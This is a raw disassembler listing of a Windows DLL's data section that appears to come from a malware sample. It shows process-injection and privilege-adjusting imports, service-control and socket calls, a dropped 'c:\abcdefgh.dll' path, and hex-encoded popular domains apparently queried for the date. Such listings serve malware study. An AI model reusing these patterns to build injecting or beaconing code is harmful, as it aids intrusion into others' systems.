dword_9BAE2C	dd 6576696Ch, 6D6F632Eh, 0 ; DATA XREF:	.text:009B9BA0o
aSetevent	db 'SetEvent',0         ; DATA XREF: .text:off_9B983Co
off_9BAE41	dd offset loc_9ADF3C	; DATA XREF: sub_9B63D8+A7r
		align 4
dword_9BAE48	dd 64697678h, 2E736F65h, 6D6F63h ; DATA	XREF: .text:009B9CBCo
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: .text:off_9B89B4o
aTianya_cn	db 'tianya.cn',0        ; DATA XREF: .text:009B9C70o
off_9BAE6A	dd offset loc_9ABDD4	; DATA XREF: sub_9B1F68-21DAr
		align 10h
dword_9BAE70	dd 0FFFFFFFFh, 9B0758h,	9B1D58h	; DATA XREF: .text:off_9B971Bo
dword_9BAE7C	dd 63696C61h, 74692E65h, 0 ; DATA XREF:	.text:009B9AB4o
dword_9BAE88	dd 0FFFFFFFFh, 9ABAA0h,	9ACEACh	; DATA XREF: .text:off_9BA38Co
aCreatedirector	db 'CreateDirectoryA',0 ; DATA XREF: .text:off_9B9F20o
off_9BAEA5	dd offset loc_9ACE7C	; DATA XREF: sub_9AFF64+3E94r
		align 4
aMovie		db 'Movie',0            ; DATA XREF: .text:009BA28Co
		align 4
aInternettimeto	db 'InternetTimeToSystemTime',0 ; DATA XREF: .text:off_9B8F89o
off_9BAECD	dd offset loc_9ACE64	; DATA XREF: sub_9B36E8-4D66r
off_9BAED1	dd offset loc_9AF300	; DATA XREF: sub_9B63D8-873Er
off_9BAED5	dd offset loc_9B0BC0	; DATA XREF: sub_9ADAC4-73Fr
off_9BAED9	dd offset a_memicmp	; DATA XREF: sub_9B0930:loc_9B1F30r
					; "_memicmp"
		align 10h
dword_9BAEE0	dd 0FFFFFFFFh, 9B30D8h,	9B23ECh	; DATA XREF: .text:off_9B93DBo
dword_9BAEEC	dd 6F626562h, 6D6F632Eh	; DATA XREF: .text:009B9AE8o
		db 0
off_9BAEF5	dd offset loc_9AB930	; DATA XREF: sub_9ACEE8+3027r
off_9BAEF9	dd offset loc_9AFCE8	; DATA XREF: sub_9B1D80-3433r
off_9BAEFD	dd offset loc_9B34C8	; DATA XREF: sub_9B57B4+48r
		align 4
dword_9BAF04	dd 302E37h		; DATA XREF: .text:009B9A80o
aDebug		db 'Debug',0            ; DATA XREF: .text:009BA204o
off_9BAF0E	dd offset loc_9AC4E8	; DATA XREF: sub_9AF25C+6E08r
off_9BAF12	dd offset dword_9B9994	; DATA XREF: sub_9B3984+5r
		align 4
aGetfileversi_0	db 'GetFileVersionInfoA',0 ; DATA XREF: .text:off_9B91D4o
off_9BAF2C	dd offset loc_9B40F0	; DATA XREF: sub_9B63D8-35DCr
dword_9BAF30	dd 0FFFFFFFFh, 9AE998h,	9B5804h	; DATA XREF: .text:off_9B9121o
off_9BAF3C	dd offset loc_9B5B08	; DATA XREF: sub_9B0930-D0Er
dword_9BAF40	dd 0FFFFFFFFh, 9AF12Ch,	9B25D4h	; DATA XREF: .text:off_9B9771o
aPlayer		db 'Player',0           ; DATA XREF: .text:009BA2C4o
off_9BAF53	dd offset dword_9BA870	; DATA XREF: sub_9B2010+5r
off_9BAF57	dd offset loc_9B02E4	; DATA XREF: sub_9B3EFC-5BC0r
off_9BAF5B	dd offset loc_9AC4B0	; DATA XREF: sub_9B0930-23F5r
off_9BAF5F	dd offset loc_9B5D24	; DATA XREF: sub_9B0FD0+C85r
off_9BAF63	dd offset loc_9AF9A8	; DATA XREF: sub_9B1A08+2EE3r
off_9BAF67	dd offset loc_9B188C	; DATA XREF: sub_9B0930-2575r
		align 4
dword_9BAF6C	dd 0FFFFFFFFh, 9B1034h,	9ADF14h	; DATA XREF: .text:off_9B9EC4o
dword_9BAF78	dd 69726576h, 2E6E6F7Ah, 74656Eh ; DATA	XREF: .text:009B9C98o
dword_9BAF84	dd 0FFFFFFFFh, 9AB648h,	9B166Ch	; DATA XREF: .text:off_9BA3F4o
; void *Src
Src		dd offset dword_9B8A1C	; DATA XREF: sub_9B3150-3090r
aVisual		db 'Visual',0           ; DATA XREF: .text:009BA32Co
off_9BAF9B	dd offset dword_9BCB78	; DATA XREF: sub_9B227C-5757r
					; sub_9B2118-1B94r ...
off_9BAF9F	dd offset loc_9AC8A8	; DATA XREF: sub_9AEC20+4449r
off_9BAFA3	dd offset loc_9B2434	; DATA XREF: sub_9B2160-1DA0r
off_9BAFA7	dd offset aGetmodulehandl ; DATA XREF: sub_9B0930:loc_9B1BC0r
					; "GetModuleHandleA"
		align 4
dword_9BAFAC	dd 6167656Dh, 6F6C7075h, 632E6461h ; DATA XREF:	.text:009B9BC4o
		db 6Fh,	6Dh, 0
off_9BAFBB	dd offset loc_9AB8B0	; DATA XREF: sub_9B1A08-635Dr
off_9BAFBF	dd offset aTime		; DATA XREF: sub_9B0930:loc_9B0B64r
					; "time"
off_9BAFC3	dd offset loc_9B4BD0	; DATA XREF: sub_9B0930+4757r
		align 4
aSelect		db 'select',0           ; DATA XREF: .text:off_9B97E5o
off_9BAFCF	dd offset dword_9BA6C0	; DATA XREF: sub_9B562C+5r
		align 4
dword_9BAFD4	dd 6F6F6F6Bh, 632E6172h	; DATA XREF: .text:009B9B94o
		db 6Fh,	6Dh, 0
off_9BAFDF	dd offset dword_9B9580	; DATA XREF: sub_9B2E04+5r
off_9BAFE3	dd offset loc_9ABD60	; DATA XREF: sub_9B3408-433Br
		align 4
aSystem_0	db 'System',0           ; DATA XREF: .text:009BA30Co
		align 10h
aThepiratebay_o	db 'thepiratebay.org',0 ; DATA XREF: .text:009B9C6Co
		align 4
aDocuments	db 'Documents',0        ; DATA XREF: .text:009BA218o
off_9BB00E	dd offset loc_9AC960	; DATA XREF: sub_9B0930-2804r
		align 4
dword_9BB014	dd 2D73652Ch, 713B5345h, 352E303Dh ; DATA XREF:	.text:009BA490o
		db 0
off_9BB021	dd offset dword_9B9364	; DATA XREF: sub_9B36E8+5r
off_9BB025	dd offset loc_9B4A80	; DATA XREF: sub_9B63D8-51B4r
off_9BB029	dd offset loc_9B393C	; DATA XREF: sub_9AC250+92E0r
		align 10h
dword_9BB030	dd 0FFFFFFFFh, 9AB024h,	9AE0D0h	; DATA XREF: .text:off_9BAC2Do
off_9BB03C	dd offset dword_9BA8F8	; DATA XREF: sub_9B63D8-14EFr
		dd offset dword_9BA8F8
		dd offset dword_9B89F4
off_9BB048	dd offset loc_9B0AC0	; DATA XREF: sub_9B4610+50r
off_9BB04C	dd offset loc_9ABF58	; DATA XREF: sub_9B0930+12C2r
off_9BB050	dd offset loc_9AD20C	; DATA XREF: sub_9B1D80-4ACFr
off_9BB054	dd offset sub_9B2E04	; DATA XREF: sub_9B4950-5A2Cr
					; sub_9B4950-1EC2r ...
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
					; DATA XREF: .text:off_9B94FCo
off_9BB08B	dd offset dword_9B898C	; DATA XREF: sub_9ABE84+5r
		align 10h
aAccept		db 'accept',0           ; DATA XREF: .text:off_9B9224o
off_9BB097	dd offset dword_9BA148	; DATA XREF: sub_9AD3EC+5r
off_9BB09B	dd offset loc_9ADD4C	; DATA XREF: sub_9B1A08+3A44r
		align 10h
		dd 8 dup(0)
aNmqflzhf	db 'nmqflzhf',0         ; DATA XREF: sub_9A3C63+A6o
					; sub_9A3C63+15Do ...
		align 4
dword_9BB0CC	dd 9A0000h		; DATA XREF: DllMain(x,x,x)+2Co
					; DllMain(x,x,x)+3Cw ...
dword_9BB0D0	dd 27000h		; DATA XREF: DllMain(x,x,x)+27o
					; DllMain(x,x,x)+47w ...
		align 8
; char FileName[]
FileName	db 'c:\abcdefgh.dll',0  ; DATA XREF: sub_9A36CC+11o
					; sub_9A3715+99o ...
		dd 3Ch dup(0)
		db 3 dup(0)
byte_9BB1DB	db 0			; DATA XREF: sub_9A3715+146w
					; sub_9A3C63+43w
dword_9BB1DC	dd 0CA3F246h		; DATA XREF: sub_9A3715+1Cr
					; sub_9A394B+22r ...
		dd 41h dup(0)
dword_9BB2E4	dd 0			; DATA XREF: fn+20w sub_9A4977w ...
dword_9BB2E8	dd 0			; DATA XREF: sub_9A52FE+3r
					; sub_9A52FE+19r ...
dword_9BB2EC	dd 7FFA0000h		; DATA XREF: sub_9A535E+3r
					; sub_9A5B2E+10o
dword_9BB2F0	dd 0			; DATA XREF: sub_9A53E9+3r
					; sub_9A53E9+19r ...
dword_9BB2F4	dd 0			; DATA XREF: sub_9A54C1+3r
					; sub_9A54C1+19r ...
dword_9BB2F8	dd 0			; DATA XREF: sub_9A556B+3r
					; sub_9A556B+18r ...
dword_9BB2FC	dd 0			; DATA XREF: .text:loc_9A5623r
					; .text:009A5639r ...
dword_9BB300	dd 0			; DATA XREF: sub_9A58BD:loc_9A58E5r
					; sub_9A5BCD+25o
dword_9BB304	dd 0			; DATA XREF: sub_9A58F0:loc_9A592Er
					; sub_9A5C69+10o
dword_9BB308	dd 0			; DATA XREF: sub_9A58BD+9r
					; sub_9A5BCD+Dw
		align 10h
dword_9BB310	dd 273h	dup(0)		; DATA XREF: sub_9A83C7+1Fo
					; sub_9A857A+3Fo ...
dword_9BBCDC	dd 0			; DATA XREF: _CRT_INIT(x,x,x)+8r
					; _CRT_INIT(x,x,x)+10w	...
dword_9BBCE0	dd 6 dup(0)		; DATA XREF: sub_9B4950-2002o
					; .text:off_9BAD92o
dword_9BBCF8	dd 6 dup(0)		; DATA XREF: .text:off_9BAA6Do
dword_9BBD10	dd 0			; DATA XREF: sub_9AC6DC-BD8w
					; sub_9AC6DC:loc_9AC3D0w ...
dword_9BBD14	dd 0			; DATA XREF: sub_9AC6DC-BD3w
					; sub_9AC6DC-306w ...
dword_9BBD18	dd 0			; DATA XREF: sub_9AC6DC:loc_9ABAA4r
					; sub_9AC6DC+69D8w ...
dword_9BBD1C	dd 0			; DATA XREF: sub_9AC6DC:loc_9AC3DEr
					; sub_9AC6DC+69DEw ...
dword_9BBD20	dd 0			; DATA XREF: sub_9AC6DC:loc_9ACC74r
					; sub_9AC6DC:loc_9AFC78r ...
dword_9BBD24	dd 0			; DATA XREF: sub_9AB574+1Ar
					; sub_9AC6DC+59Fw ...
dword_9BBD28	dd 0			; DATA XREF: sub_9AFF64-2411r
					; sub_9AEC20+65r ...
dword_9BBD2C	dd 0			; DATA XREF: sub_9AEC20:loc_9AB70Cw
					; sub_9AF25C-340Fw ...
dword_9BBD30	dd 0			; DATA XREF: sub_9B174C-60F9w
					; sub_9AF25C:loc_9ABE44w ...
dword_9BBD34	dd 42h dup(0)		; DATA XREF: sub_9B4CF4:loc_9B2CCCo
					; .text:off_9B91ECo
dword_9BBE3C	dd 0			; DATA XREF: sub_9AF25C-33E6w
					; sub_9AF25C-2D53w ...
dword_9BBE40	dd 6 dup(0)		; DATA XREF: sub_9AF960-352o
					; .text:off_9B8ED2o
dword_9BBE58	dd 41h dup(0)		; DATA XREF: .text:off_9B97DDo
dword_9BBF5C	dd 6 dup(0)		; DATA XREF: .text:off_9BA623o
dword_9BBF74	dd 0			; DATA XREF: sub_9B4FD0-A0DAw
					; sub_9B4FD0-6306r ...
dword_9BBF78	dd 0			; DATA XREF: sub_9B4FD0-A0CCw
					; sub_9B4FD0-1378r
dword_9BBF7C	dd 0			; DATA XREF: sub_9B4FD0-A0C2w
					; sub_9B4FD0-50F4r
dword_9BBF80	dd 0			; DATA XREF: sub_9B4FD0-A0B8w
					; sub_9B4FD0-6249r
dword_9BBF84	dd 0			; DATA XREF: sub_9B4FD0-A0AFw
					; sub_9B4FD0-3189r
dword_9BBF88	dd 0			; DATA XREF: sub_9B4FD0-A0A5w
					; sub_9B4FD0-8484r
dword_9BBF8C	dd 0			; DATA XREF: sub_9B4FD0-A09Cw
					; sub_9B4FD0-4535r
dword_9BBF90	dd 0			; DATA XREF: sub_9B4FD0-A092w
					; sub_9B4FD0-54C5r
dword_9BBF94	dd 0			; DATA XREF: sub_9B4FD0-A081w
					; sub_9B4610-611Fr
dword_9BBF98	dd 0			; DATA XREF: sub_9B4FD0-A087w
					; sub_9AF030+1BC3w ...
dword_9BBF9C	dd 0			; DATA XREF: sub_9B35A0-2B92r
					; sub_9B4FD0-1ED5w ...
dword_9BBFA0	dd 0			; DATA XREF: sub_9B4FD0-A07Bw
					; sub_9AF030:loc_9B0BE8w ...
		dd 2F4h	dup(0)
dword_9BCB74	dd 0			; DATA XREF: sub_9AB1A0:loc_9AADB8r
					; sub_9B3F28:loc_9AAE40r ...
dword_9BCB78	dd 6 dup(0)		; DATA XREF: .text:off_9BAF9Bo
dword_9BCB90	dd 0			; DATA XREF: sub_9B227C:loc_9ACB10w
					; sub_9B227C+33r ...
dword_9BCB94	dd 0			; DATA XREF: sub_9B227C-5766w
					; .text:009B0620w ...
dword_9BCB98	dd 0			; DATA XREF: sub_9B46CC-7DB7r
					; sub_9B36E8-6A93r ...
dword_9BCB9C	dd 6 dup(0)		; DATA XREF: .text:off_9B9632o
dword_9BCBB4	dd 0			; DATA XREF: sub_9B022C+18w
					; sub_9B3B1C+EE5w ...
dword_9BCBB8	dd 0			; DATA XREF: sub_9B022C+1Ew
					; sub_9B3B1C+EEFw ...
dword_9BCBBC	dd 0			; DATA XREF: sub_9B022C+24w
					; sub_9B3B1C+EF9w ...
dword_9BCBC0	dd 0			; DATA XREF: sub_9B022C+2Aw
					; sub_9B3B1C+F03w
dword_9BCBC4	dd 0			; DATA XREF: sub_9B022C+3Bw
					; sub_9B3B1C+F0Dw
dword_9BCBC8	dd 0			; DATA XREF: sub_9B022C+43w
					; sub_9B3B1C+F17w ...
dword_9BCBCC	dd 0			; DATA XREF: sub_9AB1A0+E9Dr
					; sub_9B0FD0:loc_9B1C48r ...
dword_9BCBD0	dd 800h	dup(0)		; DATA XREF: sub_9B0FD0+4D6Do
dword_9BEBD0	dd 0			; DATA XREF: sub_9AB1A0+E97r
					; sub_9ADCEC-EB2r ...
dword_9BEBD4	dd 0			; DATA XREF: sub_9ADCEC-EBBr
					; sub_9ADCEC+54r ...
dword_9BEBD8	dd 0			; DATA XREF: sub_9AD01C+39w
					; sub_9AF698+Ar ...
dword_9BEBDC	dd 6 dup(0)		; DATA XREF: .text:off_9BADC8o
dword_9BEBF4	dd 0			; DATA XREF: sub_9B2010:loc_9AE704r
					; .text:009AEB1Bw ...
dword_9BEBF8	dd 0			; DATA XREF: sub_9B2010-3938w
					; .text:009AEB16w ...
dword_9BEBFC	dd 6 dup(0)		; DATA XREF: .text:off_9BA97Fo
dword_9BEC14	dd 0			; DATA XREF: sub_9B2118:loc_9B0570w
					; .text:009B083Ew ...
dword_9BEC18	dd 0			; DATA XREF: sub_9B46CC-7DB1w
					; sub_9B46CC-57FEr ...
dword_9BEC1C	dd 0			; DATA XREF: sub_9AB040:loc_9AB055r
					; sub_9B4950-98E2r ...
dword_9BEC20	dd 0			; DATA XREF: sub_9AEDD0:loc_9AB9E8r
					; sub_9AB040:loc_9AC5DCr ...
dword_9BEC24	dd 0			; DATA XREF: sub_9B4950:loc_9AEF3Ar
					; sub_9B4950:loc_9B20B4r ...
dword_9BEC28	dd 0			; DATA XREF: sub_9B5904-93BAw
					; sub_9AB1A0:loc_9ACCB4r ...
dword_9BEC2C	dd 0			; DATA XREF: sub_9B5904-93D0w
					; sub_9B4950-5A33r ...
dword_9BEC30	dd 0			; DATA XREF: sub_9AB1A0-3E0r
					; sub_9B5904-93CAw ...
dword_9BEC34	dd 0			; DATA XREF: sub_9B4950:loc_9AFE14r
					; sub_9B4950-1ED4w ...
dword_9BEC38	dd 0			; DATA XREF: sub_9B4950-4B31r
					; sub_9B4950-1EB7w ...
dword_9BEC3C	dd 0			; DATA XREF: sub_9B4950-5A3Dw
					; sub_9B4950-4B26r ...
dword_9BEC40	dd 0			; DATA XREF: sub_9B4950-5A1Fw
					; sub_9B4950-4B1Br ...
		dd 136h	dup(0)
dword_9BF11C	dd 0			; DATA XREF: sub_9B1584-2758w
					; sub_9B2118-1B3Fw ...
dword_9BF120	dd 0			; DATA XREF: sub_9ADDA4:loc_9ACB7Cr
					; sub_9ACEE8:loc_9B0F7Fw ...
		dd 92h dup(0)
dword_9BF36C	dd 0			; DATA XREF: _CRT_INIT(x,x,x)+21w
dword_9BF370	dd 34718h		; DATA XREF: _CRT_INIT(x,x,x)+54w
					; _CRT_INIT(x,x,x)+75r
; void *Memory
Memory		dd 0			; DATA XREF: _CRT_INIT(x,x,x)+37w
					; _CRT_INIT(x,x,x)+45r	...
dword_9BF378	dd 0			; DATA XREF: start:loc_9AAD00r
					; start+82r
		align 10h
dword_9BF380	dd 0			; DATA XREF: sub_9B03E8:loc_9AC3F4r
					; sub_9B03E8-3FEBw ...
dword_9BF384	dd 0			; DATA XREF: sub_9AD2B8+1Dw
					; sub_9B03E8+3582w ...
dword_9BF388	dd 0			; DATA XREF: sub_9B03E8-3FDFw
					; sub_9AD2B8+23w ...
dword_9BF38C	dd 0			; DATA XREF: sub_9AD2B8+29w
					; sub_9AD2B8+42w
dword_9BF390	dd 0			; DATA XREF: sub_9AD2B8+2Fw
					; sub_9B03E8-3FD6w
dword_9BF394	dd 0			; DATA XREF: sub_9AD2B8+35w
					; sub_9B03E8-3FD0w
word_9BF398	dw 0			; DATA XREF: sub_9B03E8-3FC7w
					; sub_9AD2B8+3Bw
		align 10h
dword_9BF3A0	dd 0F18h dup(0)		; DATA XREF: .text:off_9B94D7o
		dd 158h, 0A0h, 766F4D01h, 6C694665h, 1004165h, 656C6544h
		dd 69466574h, 41656Ch, 74654701h, 706D6554h, 68746150h
		dd 47010041h, 79537465h, 6D657473h, 65726944h, 726F7463h
		dd 1004179h, 65656C53h,	43010070h, 65736F6Ch, 646E6148h
		dd 100656Ch, 61657243h,	68546574h, 64616572h, 6F4C0100h
		dd 69466B63h, 100656Ch,	46746547h, 53656C69h, 657A69h
		dd 65724301h, 46657461h, 41656C69h, 65470100h, 636F4C74h
		dd 69546C61h, 100656Dh,	56746547h, 69737265h, 1006E6Fh
		dd 45746553h, 726F7272h, 65646F4Dh, 78450100h, 72507469h
		dd 7365636Fh, 47010073h, 6F437465h, 6E616D6Dh, 6E694C64h
		dd 1004165h, 4C746547h,	45747361h, 726F7272h, 72430100h
		dd 65746165h, 6574754Dh, 1004178h, 43746547h, 75706D6Fh
		dd 4E726574h, 41656D61h, 65470100h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 44010064h, 62617369h, 6854656Ch
		dd 64616572h, 7262694Ch, 43797261h, 736C6C61h, 6F4D0100h
		dd 69466576h, 7845656Ch, 50010041h, 65636F72h, 32337373h
		dd 73726946h, 43010074h, 74616572h, 6F6F5465h, 6C65686Ch
		dd 53323370h, 7370616Eh, 746F68h, 61655201h, 6C694664h
		dd 43010065h, 74616572h, 6C694665h, 1005765h, 65766F4Dh
		dd 656C6946h, 577845h, 6C654401h, 46657465h, 57656C69h
		dd 69570100h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 45010065h, 6E617078h, 766E4564h, 6E6F7269h, 746E656Dh
		dd 69727453h, 5773676Eh, 6C470100h, 6C61626Fh, 6F6C6C41h
		dd 4D010063h, 69746C75h, 65747942h, 69576F54h, 68436564h
		dd 1007261h, 6D726554h,	74616E69h, 72685465h, 646165h
		dd 74654701h, 74697845h, 65646F43h, 65726854h, 1006461h
		dd 43746547h, 65727275h, 6854746Eh, 64616572h, 1006449h
		dd 56746547h, 69737265h, 78456E6Fh, 57010041h, 46746961h
		dd 6953726Fh, 656C676Eh, 656A624Fh, 1007463h, 4C746553h
		dd 45747361h, 726F7272h, 6F4D0100h, 656C7564h, 654E3233h
		dd 1007478h, 75646F4Dh,	3233656Ch, 73726946h, 45010074h
		dd 54746978h, 61657268h, 53010064h, 68547465h, 64616572h
		dd 6F697250h, 79746972h, 69560100h, 61757472h, 6F72506Ch
		dd 74636574h, 65470100h, 72685474h, 50646165h, 726F6972h
		dd 797469h, 74654701h, 72727543h, 54746E65h, 61657268h
		dd 56010064h, 75747269h, 72466C61h, 1006565h, 74726956h
		dd 416C6175h, 636F6C6Ch, 65470100h, 6F725074h, 64644163h
		dd 73736572h, 6F4C0100h, 694C6461h, 72617262h, 1004179h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 65470100h
		dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh
		dd 74654701h, 6B636954h, 6E756F43h, 51010074h, 79726575h
		dd 66726550h, 616D726Fh, 4365636Eh, 746E756Fh, 1007265h
		dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 53010073h
		dd 69467465h, 6954656Ch, 100656Dh, 46746547h, 41656C69h
		dd 69727474h, 65747562h, 1004173h, 46746547h, 54656C69h
		dd 656D69h, 69725701h, 69466574h, 100656Ch, 45746553h
		dd 664F646Eh, 656C6946h, 65540100h, 6E696D72h, 50657461h
		dd 65636F72h, 1007373h,	6E65704Fh, 636F7250h, 737365h
		dd 72685401h, 33646165h, 78654E32h, 53010074h, 65707375h
		dd 6854646Eh, 64616572h, 704F0100h, 68546E65h, 64616572h
		dd 6C470100h, 6C61626Fh, 65657246h, 72430100h, 65746165h
		dd 6F6D6552h, 68546574h, 64616572h, 72570100h, 50657469h
		dd 65636F72h, 654D7373h, 79726F6Dh, 69560100h, 61757472h
		dd 6C6C416Ch, 7845636Fh, 65520100h, 72506461h, 7365636Fh
		dd 6D654D73h, 79726Fh, 74655301h, 656C6946h, 72747441h
		dd 74756269h, 417365h, 65724301h, 50657461h, 65636F72h
		dd 417373h, 636F4C01h, 72466C61h, 1006565h, 74726956h
		dd 516C6175h, 79726575h, 65470100h, 6D655474h, 6C694670h
		dd 6D614E65h, 1004165h,	65657246h, 7262694Ch, 797261h
		dd 73795301h, 546D6574h, 54656D69h, 6C69466Fh, 6D695465h
		dd 47010065h, 79537465h, 6D657473h, 656D6954h, 65470100h
		dd 73795374h, 546D6574h, 41656D69h, 6C694673h, 6D695465h
		dd 52010065h, 6E556C74h, 646E6977h, 65470100h, 646F4D74h
		dd 46656C75h, 4E656C69h, 41656D61h, 72500100h, 7365636Fh
		dd 4E323373h, 747865h, 72685401h, 33646165h, 72694632h
		dd 7473h, 165h,	0
		dd 67655201h, 61657243h, 654B6574h, 57784579h, 65520100h
		dd 756C4667h, 654B6873h, 4F010079h, 536E6570h, 6E614D43h
		dd 72656761h, 45010057h, 536D756Eh, 69767265h, 53736563h
		dd 75746174h, 1005773h,	72657551h, 72655379h, 65636976h
		dd 666E6F43h, 576769h, 65755101h, 65537972h, 63697672h
		dd 6E6F4365h, 32676966h, 47010057h, 614E7465h, 5364656Dh
		dd 72756365h, 49797469h, 576F666Eh, 65530100h, 746E4574h
		dd 73656972h, 63416E49h, 100576Ch, 4E746553h, 64656D61h
		dd 75636553h, 79746972h, 6F666E49h, 52010057h, 6E456765h
		dd 654B6D75h, 57784579h, 65520100h, 74655367h, 5379654Bh
		dd 72756365h, 797469h, 74654701h, 656B6F54h, 666E496Eh
		dd 616D726Fh, 6E6F6974h, 71450100h, 536C6175h, 1006469h
		dd 74696E49h, 696C6169h, 6553657Ah, 69727563h, 65447974h
		dd 69726373h, 726F7470h, 6C410100h, 61636F6Ch, 6E416574h
		dd 696E4964h, 6C616974h, 53657A69h, 1006469h, 4C746547h
		dd 74676E65h, 64695368h, 6E490100h, 61697469h, 657A696Ch
		dd 6C6341h, 64644101h, 65636341h, 6C417373h, 65776F6Ch
		dd 65634164h, 65530100h, 63655374h, 74697275h, 73654479h
		dd 70697263h, 44726F74h, 6C6361h, 74655301h, 656C6946h
		dd 75636553h, 79746972h, 46010041h, 53656572h, 1006469h
		dd 6E65704Fh, 636F7250h, 54737365h, 6E656B6Fh, 6F4C0100h
		dd 70756B6Fh, 76697250h, 67656C69h, 6C615665h, 416575h
		dd 6A644101h, 54747375h, 6E656B6Fh, 76697250h, 67656C69h
		dd 1007365h, 6E65704Fh,	76726553h, 41656369h, 6F430100h
		dd 6F72746Eh, 7265536Ch, 65636976h, 68430100h, 65676E61h
		dd 76726553h, 43656369h, 69666E6Fh, 1004167h, 53676552h
		dd 61567465h, 4565756Ch, 1005778h, 4F676552h, 4B6E6570h
		dd 78457965h, 52010057h, 75516765h, 56797265h, 65756C61h
		dd 577845h, 67655201h, 736F6C43h, 79654B65h, 704F0100h
		dd 43536E65h, 616E614Dh, 41726567h, 704F0100h, 65536E65h
		dd 63697672h, 1005765h,	736F6C43h, 72655365h, 65636976h
		dd 646E6148h, 100656Ch,	72657551h, 72655379h, 65636976h
		dd 74617453h, 1007375h,	72657551h, 72655379h, 65636976h
		dd 666E6F43h, 416769h, 79724301h, 65527470h, 7361656Ch
		dd 6E6F4365h, 74786574h, 72430100h, 47747079h, 61526E65h
		dd 6D6F646Eh, 72430100h, 41747079h, 69757163h, 6F436572h
		dd 7865746Eh, 4174h, 172h, 1E8h, 64615F01h, 7473756Ah
		dd 6964665Fh, 5F010076h, 74696E69h, 6D726574h, 61630100h
		dd 636F6C6Ch, 656D0100h, 706D636Dh, 74730100h, 74616372h
		dd 62610100h, 73010073h, 1006E69h, 676F6Ch, 72747301h
		dd 6B6F74h, 6F746101h, 77010069h, 70637363h, 77010079h
		dd 61637363h, 5F010074h, 64736377h, 1007075h, 6C6C616Dh
		dd 100636Fh, 65657266h,	656D0100h, 7970636Dh, 656D0100h
		dd 7465736Dh, 63770100h, 72747373h, 735F0100h, 7270776Eh
		dd 66746E69h, 63770100h, 6D636E73h, 77010070h, 636E7363h
		dd 1007970h, 7363775Fh,	6D63696Eh, 77010070h, 636E7363h
		dd 1007461h, 6C736377h,	1006E65h, 7363775Fh, 706D6369h
		dd 735F0100h, 776C7274h, 73010072h, 74737274h, 5F010072h
		dd 6E727473h, 706D6369h, 72730100h, 646E61h, 6E617201h
		dd 5F010064h, 72706E73h, 66746E69h, 74730100h, 68637272h
		dd 73010072h, 636E7274h, 1007970h, 6C727473h, 1006E65h
		dd 7274735Fh, 706D6369h, 74730100h, 61636E72h, 7D000074h
		dd 0F0000001h, 1000002h, 6E496F43h, 61697469h, 657A696Ch
		dd 1007845h, 72436F43h,	65746165h, 74736E49h, 65636E61h
		dd 6F430100h, 6E696E55h, 61697469h, 657A696Ch, 6F430100h
		dd 74696E49h, 696C6169h, 6553657Ah, 69727563h, 7974h, 187h
		dd 27Ch, 0FF0008FFh, 7FF0006h, 2FF00h, 9FFh, 194h, 294h
		dd 47485301h, 70537465h, 61696365h, 6C6F466Ch, 50726564h
		dd 41687461h, 1A00000h,	29C0000h, 53010000h, 6C654448h
		dd 56657465h, 65756C61h, 53010041h, 74537274h, 574972h
		dd 72745301h, 49727453h, 53010041h, 6C654448h, 4B657465h
		dd 577965h, 1AC00h, 30400h, 624F0100h, 6E696174h, 72657355h
		dd 6E656741h, 72745374h, 676E69h, 1B700h, 2B000h, 6E450100h
		dd 68546D75h, 64616572h, 646E6957h, 73776Fh, 74654701h
		dd 49676C44h, 6D6574h, 736F5001h, 73654D74h, 65676173h
		dd 0C2000041h, 0C0000001h, 1000002h, 65746E49h,	74656E72h
		dd 43746547h, 656E6E6Fh, 64657463h, 74617453h, 49010065h
		dd 7265746Eh, 4F74656Eh, 416E6570h, 6E490100h, 6E726574h
		dd 704F7465h, 72556E65h, 100416Ch, 70747448h, 72657551h
		dd 666E4979h, 100416Fh,	65746E49h, 74656E72h, 64616552h
		dd 656C6946h, 6E490100h, 6E726574h, 6C437465h, 4865736Fh
		dd 6C646E61h, 0CE000065h, 0DC000001h, 0FF000002h, 0CFF0034h
		dd 73FF00h, 0EFFh, 0
		dd 416B8F0h, 100100F0h,	454044Ch, 414040Ch, 3 dup(40C040Ch)
		dd 0C040C10h, 134F004h,	0C045404h, 0F0702804h, 0C040404h
		dd 0F0047C04h, 804052Ch, 0C4040804h, 131C2204h,	1115181Dh
		dd 32140F1Bh, 2806100Eh, 170B250Fh, 936094Fh, 1314192Eh
		dd 30360A0Ah, 0C0A120Dh, 29092006h, 0C0C0C0Ch, 0C050C0Ch
		dd 8170B05h, 0A3B1E07h,	100C1630h, 2D1B1511h, 63443106h
		dd 6070722h, 60C1E23h, 506100Fh, 25081C11h, 0B071710h
		dd 8142109h, 0E20110Ah,	25141915h, 21230708h, 80A1105h
		dd 24060C0Ah, 39080E0Ch, 11270711h, 20080836h, 0D1D560Ah
		dd 0F1A2B32h, 1A30061Dh, 2A310A1Ah, 0A101F26h, 362E180Dh
		dd 150A210Ah, 37141112h, 412C141Ah, 4F2D2D2Ah, 7B1A1934h
		dd 0C130C1Eh, 27300C0Ch, 1B6E0C1Fh, 2B07A10Eh, 0E0E132Ch
		dd 6143809h, 0A0A0A10h,	301F5208h, 0A08069Ch, 25071514h
		dd 0F201035h, 24360608h, 56060817h, 80101F0h, 35093306h
		dd 21262371h, 3A13470Dh, 0E084A16h, 0A11070Fh, 0A7E127Dh
		dd 4C16BD2Dh, 2A0F091Bh, 2E0E0E15h, 11153D4Fh, 1F330A13h
		dd 13111543h, 1440270Ah, 330A1311h, 12101540h, 2A86160Ah
		dd 4BAC0A9Bh, 110B0D1Eh, 0A0C051Bh, 1EAB0A19h, 0F0D3145h
		dd 5102717h, 5100505h, 5140505h, 50A0605h, 6050C06h, 2806050Ch
		dd 5090706h, 15120505h,	0D15120Dh, 5050510h, 140C08A9h
		dd 6181E0Eh, 14121711h,	16260728h, 2E301C0Eh, 6070628h
		dd 3C0E0933h, 12391507h, 91F190Bh, 17131229h, 172D1A1Dh
		dd 3615114Ch, 1F251523h, 24180930h, 19071053h, 290E110Eh
		dd 1E52234Eh, 8050611h,	516201Bh, 4E051C0Eh, 110A241Bh
		dd 5950717h, 351C0706h,	2821881Ah, 8090506h, 130D264Ch
